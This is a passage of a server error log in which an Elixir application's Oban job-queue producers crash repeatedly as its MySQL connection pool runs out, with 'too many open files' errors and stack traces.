State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:14:45.243162Z], limit: 5, uuid: "4f567e4a-5ea0-461c-9639-f05bf94b1e33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:45.243176Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243536>, refresh_timer: #Reference<0.2525715032.1121189889.111669>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:14:45.252560Z], limit: 50, uuid: "92e96c99-b3a4-4dce-b72f-1bbee0b6684c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:45.252566Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243534>, refresh_timer: #Reference<0.2525715032.1077411843.243524>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:14:45.244863Z], limit: 3, uuid: "574dca81-d5dc-42cd-ab28-4575b648fed7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:45.244868Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243535>, refresh_timer: #Reference<0.2525715032.1068236804.262121>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:57.574000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:00.021000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:01.374000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:02.160000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:02.637000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:14:51.239968Z], limit: 10, uuid: "5fef7b9d-c077-40c1-8c5c-d73a90856657", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:51.239974Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243729>, refresh_timer: #Reference<0.2525715032.1077411843.243714>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:05.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:06.221000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:07.194000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:08.461000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:09.073000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:14:57.244944Z], limit: 50, uuid: "fa19e871-f7dc-4ad5-a25e-0a47cf75b10c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:57.244951Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243846>, refresh_timer: #Reference<0.2525715032.1077411843.243838>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:14:57.238060Z], limit: 20, uuid: "4c393922-b9cc-4b7d-9c39-f8b426041416", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:57.238069Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243849>, refresh_timer: #Reference<0.2525715032.1099431938.12410>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:14:57.239777Z], limit: 5, uuid: "4a14f51c-68ac-43ff-8874-79ad11fe419f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:57.239783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243850>, refresh_timer: #Reference<0.2525715032.1099431938.12422>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:14:57.243571Z], limit: 3, uuid: "5568f3b4-cbc4-4916-8bb5-4081d450b7dc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:57.243644Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243848>, refresh_timer: #Reference<0.2525715032.1068498948.321>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:14:57.242291Z], limit: 5, uuid: "fd107964-daec-4985-9e81-9ad9cd2b3ac7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:57.242297Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243847>, refresh_timer: #Reference<0.2525715032.1068498948.307>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
